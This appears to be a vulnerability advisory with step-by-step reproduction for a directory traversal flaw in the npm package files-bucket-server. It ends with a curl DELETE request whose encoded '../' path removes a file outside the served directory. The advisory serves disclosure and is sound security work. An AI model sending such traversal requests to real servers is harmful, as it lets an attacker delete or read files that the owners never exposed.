Directory Traversal Affecting files-bucket-server package, versions *

Affected versions of this package are vulnerable to Directory Traversal where an attacker can traverse the file system and access files outside of the intended directory.

1. Install the files-bucket-server package: npm install files-bucket-server

2. Create a new directory: mkdir private-files

3. Add a file to the directory and also create a file outside in the root directory:

echo "This is a generic file, hello world" > private-files/hello.txt
echo "This is a secret file" > secret.txt

4. Define a server.js file with the programmatic API of files-bucket-server that also restricts access to a specific directory (yet fails to do so):

var FileBucketServer = require('files-bucket-server');
var fBServer = new FileBucketServer('./private-files', { logsEnabled: true });

// Only allow local requests
fBServer.onlyAllowLocalRequests();
// Start server
fBServer.start().then(function (serverData) {
  console.log('Server is up at port: '+serverData.port);
});

5. Run the server: node server.js

6. Access a file inside the directory to ensure everything is working as expected: curl "http://localhost:1024/files/hello.txt"

7. Now, attempt to delete a file outside this directory using the RESTful API: curl -X DELETE "http://localhost:1024/api/files/%2e%2e%2fsecret.txt"

8. The file secret.txt will be deleted, proving the path traversal vulnerability.

• POC